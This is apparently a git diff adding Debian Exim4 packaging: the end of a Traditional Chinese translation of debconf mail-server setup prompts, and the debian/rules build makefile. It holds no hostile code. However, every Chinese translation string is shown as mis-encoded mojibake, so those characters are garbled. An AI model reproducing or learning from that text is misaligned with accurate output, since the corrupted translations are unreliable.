without " +"a domain name." +msgstr "" +"所謂的郵件å稱 (mail name) 是一個網域åç¨±ï¼Œç”¨ä¾†è£œå…¨é‚£äº›æ²’æœ‰é™„åŠ ç¶²åŸŸå稱的電å" +"郵件ä½å€ã€‚" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"而這個å稱也被其它程å¼æ‰€ä½¿ç”¨ï¼›å®ƒæ‡‰è©²æ˜¯ä¸€å€‹ç¨ä¸€ç„¡äºŒçš„完整網域å稱 (FQDN)。" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"比如說,在本機上的æŸå€‹é›»å郵件地å€æ˜¯ foo@domain.example,那麼應該在這個é¸é …上" +"填入的就是 example.org。" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"如果啟用了改寫 (rewriting) 功能,那麼這個å稱就ä¸æœƒé¡¯ç¤ºåœ¨å¤–寄郵件的 From: çš„" +"那幾行裡。" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "è¦é€²è¡ŒæŽ¥æ”¶çš„其它郵件ä½å€ï¼š" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"請輸入一個以分號å€éš”的收信網域之å稱列表。這å°æ©Ÿå™¨é™¤äº†æœ¬æ©Ÿçš„主機å稱 " +"(${fqdn}) åŠ localhost 之外,也åŒæ™‚會將列表ä¸çš„網域視為郵件的目的地。這些網域" +"通常會被稱為 local domains。" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"在é è¨ä¸Šï¼Œæ‰€æœ‰çš„ local domains 都將被視為åŒä¸€ç¶²åŸŸã€‚如果 a.example å’Œ b." +"example åŒç‚º local domains,那麼 acc@a.example å’Œ acc@b.example 都將會被傳é€" +"到相åŒçš„目的地去。如果ä¸åŒçš„網域å稱應該被視為ä¸åŒç¶²åŸŸï¼Œæ‚¨å¿…é ˆåœ¨ç¨å€™è‡ªè¡Œä¿®æ”¹" +"è¨å®šæª”。" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "å¯ä»¥é€²è¡Œéƒµä»¶è½‰å¯„ (relay) 的網域:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"請輸入一個以分號å€éš”的收信網域之å稱列表,這個系統將會替它們進行郵件轉寄 " +"(relay),也就是æä¾›åƒæ˜¯å‚™æ´çš„ MX 或郵件ä¸ç¹¼ç«™çš„功能。這也就是說,這個系統將會" +"接收來自 Internet 任何角è½çš„信件,åªè¦éƒµä»¶æ˜¯ä¾†è‡ªé€™äº›ç¶²åŸŸï¼›åŒæ™‚也會ä¾æ“šæœ¬æ©Ÿçš„" +"éžé€è¦å‰‡å°‡éƒµä»¶å‚³é€å‡ºåŽ»ã€‚" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "è«‹ä¸è¦åœ¨æ¤å¡«ä¸Š local domain,但å¯ä»¥ä½¿ç”¨è¬ç”¨å—元。" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "è¦æ›¿å“ªäº›ä¸»æ©Ÿé€²è¡Œéƒµä»¶è½‰å¯„ (relay):" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"請輸入一個以分號å€éš”的收信網域之 IP ä½ç½ç¯„åœï¼Œé€™å€‹ç³»çµ±å°‡æœƒæ›¿å®ƒå€‘進行無æ¢ä»¶çš„" +"郵件轉寄 (relay),也就是æä¾› smarthost 的功能。" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"æ‚¨å¿…é ˆä½¿ç”¨æ¨™æº–çš„ ä½å€/長度 æ ¼å¼ï¼Œå¦‚:194.222.242.0/24 或 " +"5f03:1200:836f::/48。" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "如果這個系統並ä¸åšç‚ºå…¶å®ƒæ©Ÿå™¨çš„ smarthost,請在æ¤æ¬„ä½ç•™ç™½ã€‚" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "本機使用者的虛擬網域å稱:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"若啟用了這個é¸é …,就會在外寄的郵件ä¸éš±è—本機的郵件å稱 (mail name) ã€‚ä¹Ÿå› è€Œå¿…" +"é ˆæŒ‡å®šé€™å€‹ç³»çµ±ä¸Šçš„æœ¬æ©Ÿä½¿ç”¨è€…åœ¨å¯„ä¿¡è€…çš„åœ°å€ä¸æ‰€ä½¿ç”¨çš„網域部份應當使用的網域å" +"稱。" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "外寄郵件時所使用的 smarthost çš„ IP ä½å€æˆ–主機å稱:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"請輸入這個系統在外寄郵件時所使用的 smarthost é‚£å°éƒµä»¶ä¸»æ©Ÿçš„ IP ä½å€æˆ–主機å" +"稱。如果這個 smarthost ä¸æ˜¯ä½¿ç”¨ TCP/25 åŸ ä¾†æŽ¥æ”¶æ‚¨çš„éƒµä»¶çš„è©±ï¼Œè«‹åœ¨æœ€å¾Œé™„åŠ ä¸Š " +"2 個冒號åŠé€£æŽ¥åŸ 的號碼,例如 smarthost.example::587 或 " +"192.168.254.254::2525。在 IPv6 ä½å€è£¡çš„冒號需輸入 2 次。" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"如果 smarthost 需è¦é©—証,請åƒè€ƒ /usr/share/doc/exim4-base/README.Debian.gz 裡" +"有關è¨å®š SMTP 驗証之說明。" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "root åŠ postmaster 的郵件代收者:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"寄給 postmasterã€root,åŠå…¶å®ƒç³»çµ±å¸³è™Ÿçš„éƒµä»¶å¿…é ˆè½‰é€çµ¦ç³»çµ±ç®¡ç†è€…真æ£çš„使用者帳" +"號。" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"如果在æ¤æ¬„留白,那麼這些郵件將會å˜æ”¾åœ¨ /var/mail/mail,而這是éžå¸¸ä¸æ°ç•¶çš„作" +"法。" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"請注æ„到,postmaster 的郵件應該å˜æ”¾åœ¨å®ƒæ‰€ç®¡ç†çš„系統上,而ä¸æ˜¯å°‡å®ƒå†è½‰å¯„到別的" +"åœ°æ–¹åŽ»ã€‚å› è€Œæ‚¨ä¸è©²æŠŠåœ¨é€™è£¡æ‰€æŒ‡å®šçš„(至少è¦ç•™ä¸€å€‹ï¼‰å¸³è™Ÿçš„郵件å†è½‰å¯„出去。在å—" +"é¦–åŠ ä¸Š real- 表示將強制傳é€è‡³æœ¬æ©Ÿã€‚" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "å¿…é ˆä»¥ç©ºç™½åˆ†éš”å¤šå€‹ä½¿ç”¨è€…å稱。" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "在有 SMTP 連線傳入時,è¦é€²è¡Œç›£è½çš„ IP ä½å€ï¼š" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"請輸入一個以分號å€éš”çš„ IP ä½å€åˆ—表。Exim çš„ SMTP 監è½æœå‹™å°‡æœƒç›£è½æ‰€æœ‰åœ¨æ¤åˆ—出" +"çš„ IP ä½å€ã€‚" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "在æ¤ç•™ç™½å°‡æœƒå°Žè‡´ Exim 在所有的網路介é¢ä¸Šç›£è½é€£ç·šã€‚" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"如果這å°é›»è…¦åªæœƒæŽ¥å—由本機æœå‹™æ‰€å‚³é€ï¼Œåƒæ˜¯ç”± fetchmail 或是您的電åéƒµä»¶ç¨‹å¼ " +"(MUA) 直接傳é€è‡³ localhost(沒有經由其它的主機)的電å郵件,那麼建è°ç¦æ¢å¤–部" +"和本機 Exim 進行連線,方法是在æ¤è¼¸å…¥ 127.0.0.1。如æ¤å°‡èƒ½é¿å…監è½å…¬å…±çš„網路介" +"é¢ã€‚" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "是å¦ä¿æŒæœ€å°çš„ DNS æŸ¥è©¢é‡ (å³æ™‚撥接;Dial-on-Demand)?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"在一般的æ“作模å¼ä¸‹ï¼ŒExim 會在一開始åŠåœ¨å‚³é€æˆ–接收訊æ¯æ™‚進行 DNS 查詢。這是為" +"了便於進行 Logging,並且å¯ä»¥é™ä½Žåœ¨è¨å®šæª”裡使用的硬性編碼 (hard-coded) 數值的" +"次數。" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"如果這個系統並沒有一個在任何時刻都å¯ä½¿ç”¨çš„全功能 DNS å稱解æžä¼ºæœå™¨æ™‚,(例" +"如:在å˜å– Internet 時是使用撥接網路並æé…å³æ™‚撥接 (Dial-on-Demand) 以進行連" +"線),這å¯èƒ½ä¸¦ä¸æ˜¯ç†æƒ³çš„方案。舉例來說,在啟動 Exim 或執行 queue(å³ä½¿ä¸¦æ²’有" +"ç‰å€™ä¸çš„資訊)時都有å¯èƒ½æœƒè§¸ç™¼é‚£æ˜‚貴的撥接事件。" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"如果這個系統使用的是å³æ™‚撥接 (Dial-on-Demand),應該é¸å–這個é¸é …。如果使用的是" +"能永久å˜å– Internet 的連線,應該關閉這個é¸é …。" + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "郵件伺æœå™¨è¨å®š" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "是å¦å°‡è¨å®šæª”分散æˆè¼ƒå°çš„檔案?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"Debian çš„ exim4 套件å¯ä»¥ä½¿ç”¨å…©ç¨®è¨å®šæ–¹å¼ï¼Œä¸€å€‹æ˜¯ã€Žæ•´åˆçš„è¨å®šæª”ã€ï¼Œä¸€å€‹å–®ä¸€ä¸”" +"節構é¾å¤§çš„檔案 (/etc/exim4/exim4.conf.template),或是使用『分散的è¨å®šæª”ã€ï¼Œç”±" +"ä½æ–¼ /etc/exim4/conf.d/ ä¸å¤§ç´„ 50 個å°æª”案來產生真æ£çš„ Exim è¨å®šæª”。" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"『整åˆçš„è¨å®šæª”ã€è¼ƒé©åˆæ–¼å¤§é‡çš„修改,且一般來說也會較為穩定。而『分散的è¨å®š" +"檔ã€å‰‡æ供了在進行å°é‡ä¿®æ”¹æ™‚的一個較方便的作法,但它會較為ä¸ç©©å®šä¸”如果修改時" +"一ä¸å°å¿ƒå°±å¯èƒ½æœƒå°Žè‡´æ壞。" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"å¯ä»¥åœ¨ /usr/share/doc/exim4-base/README.Debian.gz 裡找到有關『整åˆã€åŠã€Žåˆ†" +"æ•£ã€è¨å®šæª”的一些更詳盡的討論。" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "是å¦åœ¨å¤–é€éƒµä»¶ä¸éš±è—本機的郵件å稱 (mail name)?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"外寄郵件的表é å¯ä»¥é€²è¡Œæ”¹å¯«ã€‚如果é¸å–了這個é¸é …,在 From, Reply-To, Sender åŠ " +"Return-Path ä¸çš„ ${mailname}ã€localhost åŠ ${dc_other_hostnames} 會被改寫,讓" +"它看起來åƒæ˜¯ç”±å¦ä¸€å€‹ä¸åŒçš„系統所產生的。" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "å˜æ”¾åœ¨ /var/mail 裡的 mbox æ ¼å¼" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "å˜æ”¾åœ¨å€‹äººä¸»ç›®éŒ„裡的 Maildir æ ¼å¼" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "本機郵件的傳é€æ–¹å¼ï¼š" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"Exim å¯ä»¥å°‡å‚³é€åˆ°æœ¬æ©Ÿçš„郵件以ä¸åŒçš„æ ¼å¼å„²å˜ã€‚å…¶ä¸æœ€å¸¸è¦‹çš„æ ¼å¼æ˜¯ mbox åŠ " +"Maildir。mbox 是一個包å«äº†å®Œæ•´çš„郵件資料夾ã€å˜æ”¾æ–¼ /var/mail/ 的單一檔案。而 " +"Maildir 則是將å„個信件一一å˜æ”¾åœ¨ ~/Maildir/ çš„å„別檔案ä¸ã€‚" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"請注æ„到,大多數 Debian 裡的郵件工具程å¼åœ¨é è¨ä¸Šéƒ½å‡è¨äº†æœ¬æ©Ÿéƒµä»¶æ˜¯ä»¥ mbox åš" +"為傳é€æ–¹å¼ã€‚" + +#~ msgid "Move undelivered mails from exim 3 to exim4 spool?" +#~ msgstr "是å¦å°‡å°šæœªéžé€ä¹‹ä¿¡ä»¶ç”± exim3 æ¬ç§»è‡³ exim4 çš„ spool 裡?" + +#~ msgid "" +#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " +#~ "directory /var/spool/exim/input/." +#~ msgstr "" +#~ "在 exim 3(或 exim-tls 3)的 spool 目錄 /var/spool/exim/input/ ä¸é‚„有一些" +#~ "尚未éžé€ä¹‹ä¿¡ä»¶ã€‚" + +#~ msgid "" +#~ "Choosing this option will move these messages to exim4's spool (/var/" +#~ "spool/exim4/input/) where they will be handled by exim4." +#~ msgstr "" +#~ "é¸å–這個é¸é …將會把這些信件æ¬åˆ° exim4 çš„ spool (/var/spool/exim4/input/) " +#~ "裡,如æ¤ä¸€ä¾†å®ƒå€‘便轉由 exim4 來管ç†äº†ã€‚" + +#~ msgid "" +#~ "This works only one-way: Exim4 can handle exim 3 spool but not vice-" +#~ "versa. If you reject this option, you need to move the messages yourself " +#~ "or they will never be delivered." +#~ msgstr "" +#~ "這個éŽç¨‹æ˜¯ä¸å¯é€†çš„:Exim4 å¯ä»¥ç®¡ç† exim 3 çš„ spool,但å之則ä¸è¡Œã€‚å¦‚æžœä½ æ‹’" +#~ "ç»è¿™ä¸ªé€‰é¡¹ï¼Œä½ 将需è¦è‡ªè¡Œç§»å‹•é€™äº›ä¿¡ä»¶ï¼Œå¦å‰‡ï¼Œè¿™äº›é‚®ä»¶å°†ä¸ä¼šè¢«é€è¾¾ã€‚" + +#~ msgid "Leaving this list blank will have Exim do no local deliveries." +#~ msgstr "若在æ¤æ¬„留白將會使得 Exim ä¸æœƒæŽ¥æ”¶æœ¬æ©Ÿçš„郵件。" diff --git a/debian/rules b/debian/rules new file mode 100755 index 0000000..930a22c --- /dev/null +++ b/debian/rules @@ -0,0 +1,297 @@ +#!/usr/bin/make -f +# debian/rules for exim4 +# This file is public domain software, originally written by Joey Hess. +# +# Uncomment this to turn on verbose mode. +# export DH_VERBOSE=1 + +buildname := $(shell scripts/os-type)-$(shell scripts/arch-type) +DEBIAN := $(shell pwd)/debian + +export DEB_BUILD_MAINT_OPTIONS := hardening=+all +include /usr/share/dpkg/buildflags.mk +include /usr/share/dpkg/pkg-info.mk +# SOURCE_DATE_EPOCH is exported by pkg-info.mk since dpkg 1.18.8/July 2016 +# fall back to current date otherwise. +SOURCE_DATE_EPOCH ?= $(shell date '+%s') + + +# The build system ignores CPPFLAGS, append them to CFLAGS +CFLAGS += $(shell getconf LFS_CFLAGS) -D_LARGEFILE_SOURCE \ + -fno-strict-aliasing -Wall $(CPPFLAGS) +export CFLAGS +# LFLAGS is used where GNU would use LDFLAGS +export LFLAGS = $(LDFLAGS) + +LC_ALL=C +export LC_ALL + +# If you want to build a daemon with a configuration tailored to YOUR special +# needs, uncomment the exim4-daemon-custom package in debian/control, +# call "debian/rules unpack-configs", copy EDITME.exim4-light to +# EDITME.exim4-custom and modify it, then call "debian/rules pack-configs". +# +# Afterwards EITHER uncomment the customdaemon definition below, or set it +# to the desired value via the environment. +# e.g run: +# env customdaemon=exim4-daemon-custom dpkg-buildpackage -uc -us +# +# If you want to create multiple custom packages with different names, use +# the script debian/create-custom-package [suffix]. + +# customdaemon = exim4-daemon-custom +daemons = exim4-daemon-light exim4-daemon-heavy $(customdaemon) + +# If you want to build with OpenSSL instead of GnuTLS, uncomment this +# OPENSSL:=1 +# Please note that building exim4-daemon-heavy with OpenSSL is a GPL +# violation. + +PROVIDE_DEFAULT_MTA := $(shell if dpkg-vendor --is Ubuntu || \ + dpkg-vendor --derives-from Ubuntu ; then : ; else \ + echo "default-mta" ; fi) +# for reproducible build. If set exim would use $TZ as default value for +# TIMEZONE_DEFAULT +undefine TZ +unexport TZ + + +unpack-configs: unpack-configs-stamp + +unpack-configs-stamp: src/EDITME exim_monitor/EDITME + patch -o EDITME.eximon exim_monitor/EDITME \ + $(DEBIAN)/EDITME.eximon.diff + patch -o EDITME.exim4-light src/EDITME \ + $(DEBIAN)/EDITME.exim4-light.diff +ifdef OPENSSL + patch EDITME.exim4-light $(DEBIAN)/EDITME.openssl.exim4-light.diff +endif + for editme in $(DEBIAN)/EDITME.exim4-*.diff; do \ + if [ "$$editme" != "$(DEBIAN)/EDITME.exim4-light.diff" ]; then \ + TARGETNAME=`basename $$editme .diff`; \ + echo patch -o $$TARGETNAME EDITME.exim4-light $$editme; \ + patch -o $$TARGETNAME EDITME.exim4-light $$editme || \ + exit $$? ;\ + fi; \ + done + touch unpack-configs-stamp + +pack-configs: + -diff -u src/EDITME EDITME.exim4-light \ + > $(DEBIAN)/EDITME.exim4-light.diff + -for editme in EDITME.exim4-*; do \ + if [ "$$editme" != "EDITME.exim4-light" ]; then \ + echo diff -u EDITME.exim4-light $$editme; \ + diff -u EDITME.exim4-light $$editme > $(DEBIAN)/$${editme}.diff; \ + fi; \ + done + -diff -u exim_monitor/EDITME EDITME.eximon \ + > $(DEBIAN)/EDITME.eximon.diff + +bdir-stamp: unpack-configs-stamp + for i in $(daemons) ; do \ + mkdir b-$$i && \ + find . -mindepth 1 -maxdepth 1 \ + -name debian -prune -o \ + -name 'b-*' -o -print0 | \ + xargs --no-run-if-empty --null \ + cp -a --target-directory=b-$$i ; \ + done + touch $@ + +override_dh_auto_configure: unpack-configs-stamp bdir-stamp + for i in $(daemons) ; do \ + mkdir -p b-$$i/Local && \ + cp EDITME.`echo $$i | sed -e s/exim4-daemon/exim4/` \ + b-$$i/Local/Makefile && \ + cp EDITME.eximon b-$$i/Local/eximon.conf ;\ + done + +override_dh_auto_build: + for i in $(daemons) ; do \ + echo building $$i; \ + cd $(CURDIR)/b-$$i && \ + $(MAKE) FULLECHO='' ; \ + done + # Which version of Berkeley DB are we building against? + printf '#include <db.h>\ninstdbversionis DB_VERSION_MAJOR DB_VERSION_MINOR\n' | \ + cpp -P | grep instdbversionis |\ + sed -e 's/[[:space:]]*instdbversionis[[:space:]]//' \ + -e 's/[[:space:]][[:space:]]*/./' \ + -e 's_^_s/^BDBVERSION=.*/BDBVERSION=_' \ + -e 's_$$_/_' \ + > $(DEBIAN)/berkeleydb.sed + # Store Berkeley DB version in postinst script. + sed -i -f $(DEBIAN)/berkeleydb.sed \ + $(DEBIAN)/exim4-base.postinst + # symlink identical maintainerscripts + for i in `echo $(daemons) | sed -e s/exim4-daemon-light//` ; do \ + ln -sfv exim4-daemon-light.prerm \ + "$(DEBIAN)/$$i.prerm" ; \ + ln -sfv exim4-daemon-light.postinst \ + "$(DEBIAN)/$$i.postinst" ; \ + done + +override_dh_auto_install-arch: debian/README.Debian + cd b-exim4-daemon-light && \ + $(MAKE) install FULLECHO='' \ + INSTALL_ARG=-no_symlink \ + inst_conf=$(DEBIAN)/exim4-base/usr/share/doc/exim4-base/examples/example.conf \ + inst_aliases=$(DEBIAN)/exim4-base/usr/share/doc/exim4-base/examples/aliases \ + inst_dest=$(DEBIAN)/exim4-base/usr/sbin + if [ -e "$(DEBIAN)/example.conf.md5" ] && [ "$$(< $(DEBIAN)/exim4-base/usr/share/doc/exim4-base/examples/example.conf md5sum)" != "$$(cat $(DEBIAN)/example.conf.md5)" ] ; then \ + echo "upstream example configuration has changed, new md5sum:"; \ + < $(DEBIAN)/exim4-base/usr/share/doc/exim4-base/examples/example.conf md5sum; \ + echo "aborting build."; \ + exit 1; \ + fi + < $(DEBIAN)/exim4-base/usr/share/doc/exim4-base/examples/example.conf md5sum > $(DEBIAN)/example.conf.md5 + sed -e 's,/[a-zA-Z/0-9.-]*exim4-base/examples/,/etc/,' \ + < $(DEBIAN)/exim4-base/usr/share/doc/exim4-base/examples/example.conf \ + > $(DEBIAN)/exim4-base/usr/share/doc/exim4-base/examples/example.conf.tmp + mv $(DEBIAN)/exim4-base/usr/share/doc/exim4-base/examples/example.conf.tmp \ + $(DEBIAN)/exim4-base/usr/share/doc/exim4-base/examples/example.conf + install -m755 b-exim4-daemon-light/build-$(buildname)/convert4r4 \ + $(DEBIAN)/exim4-base/usr/sbin/exim_convert4r4 + install -m755 \ + b-exim4-daemon-light/build-$(buildname)/transport-filter.pl \ + b-exim4-daemon-light/util/ratelimit.pl \ + $(DEBIAN)/exim4-base/usr/share/doc/exim4-base/examples + rm $(DEBIAN)/exim4-base/usr/sbin/exim + mv $(DEBIAN)/exim4-base/usr/sbin/eximon \ + $(DEBIAN)/eximon4/usr/sbin + mv $(DEBIAN)/exim4-base/usr/sbin/eximon.bin \ + $(DEBIAN)/eximon4/usr/lib/exim4 + pod2man --center=EXIM4 --section=8 \ + $(DEBIAN)/exim4-base/usr/sbin/exipick \ + $(DEBIAN)/exim4-base/usr/share/man/man8/exipick.8 + pod2man --center=EXIM4 --section=8 \ + $(DEBIAN)/exim4-base/usr/sbin/eximstats \ + $(DEBIAN)/exim4-base/usr/share/man/man8/eximstats.8 + install -m755 $(DEBIAN)/syslog2eximlog $(DEBIAN)/exim4-base/usr/sbin/ + pod2man --center=EXIM4 --section=8 \ + $(DEBIAN)/syslog2eximlog \ + $(DEBIAN)/exim4-base/usr/share/man/man8/syslog2eximlog.8 + for i in b-exim4-daemon-*/build-$(buildname)/exim ; do \ + install -m4755 -oroot -groot $$i \ + $(DEBIAN)/`echo $$i | sed -e 's/^b-//' -e 's_/.*__'`/usr/sbin/exim4 ; \ + done + +override_dh_auto_install-indep: debian/README.Debian + # if you change anything here, you will have to change + # config-custom/debian/rules as well + sed -e \ + "s/^UPEX4C_version=\"\"/UPEX4C_version=\"$(DEB_VERSION)\"/" \ + < $(DEBIAN)/debconf/update-exim4.conf \ + > $(DEBIAN)/exim4-config/usr/sbin/update-exim4.conf + chmod 755 $(DEBIAN)/exim4-config/usr/sbin/update-exim4.conf + install -m 755 $(DEBIAN)/update-exim4defaults \ + $(DEBIAN)/exim4-config/usr/sbin + + cd $(DEBIAN)/debconf/conf.d && \ + tar cf - `find \( -path '*/.svn/*' -prune \) -or \ + \( -type f -print \)` | \ + { cd $(DEBIAN)/exim4-config/etc/exim4/conf.d/ && \ + tar xf - ; } + + install -m644 $(DEBIAN)/email-addresses $(DEBIAN)/exim4-config/etc/ + install -m640 -oroot -groot $(DEBIAN)/passwd.client \ + $(DEBIAN)/exim4-config/etc/exim4/ + chmod 755 $(DEBIAN)/debconf/update-exim4.conf.template + env CONFDIR=$(DEBIAN)/debconf \ + $(DEBIAN)/debconf/update-exim4.conf.template --nobackup --run + +# only called manually by maintainer before upload. +update-mtaconflicts: + which grep-aptavail > /dev/null && \ + grep-aptavail --show-field=Package --field=Provides \ + mail-transport-agent --no-field-names \ + | grep -v exim | sort -u | \ + tr '\n' ',' | sed -e 's/,/, /g;s/, $$//' > $(DEBIAN)/mtalist + +# Generate README.Debian as text/html ... +debian/README.Debian.html: debian/README.Debian.xml + xsltproc --nonet --stringparam section.autolabel 1 \ + -o $@ \ + /usr/share/xml/docbook/stylesheet/nwalsh/html/docbook.xsl \ + $< +# ... and text/plain +debian/README.Debian: debian/README.Debian.html + chmod 755 $(DEBIAN)/lynx-dump-postprocess + lynx -force_html -dump $< | $(DEBIAN)/lynx-dump-postprocess > $@.tmp + mv $@.tmp $@ + +override_dh_auto_test: +ifeq (,$(filter nocheck,$(DEB_BUILD_OPTIONS))) + # it is not possible to run exim unless the compile-time specified + # user exists. + if id -u Debian-exim ; then \ + echo Debian-exim user found, running minimal testsuite ; \ + chmod +x debian/minimaltest ; \ + rm -rf $(CURDIR)/test ; \ + for i in b-exim4-daemon*/build-$(buildname)/exim ;\ + do mkdir $(CURDIR)/test && \ + debian/minimaltest $(CURDIR)/test $$i || \ + { echo testsuite error ; exit 1 ; } ; \ + rm -rf $(CURDIR)/test ; \ + done \ + fi +endif + +override_dh_auto_clean: + debconf-updatepo + + -rm -rf build-* doc/tmp test/ b-exim* + -rm -f EDITME.* unpack-configs-stamp bdir-stamp 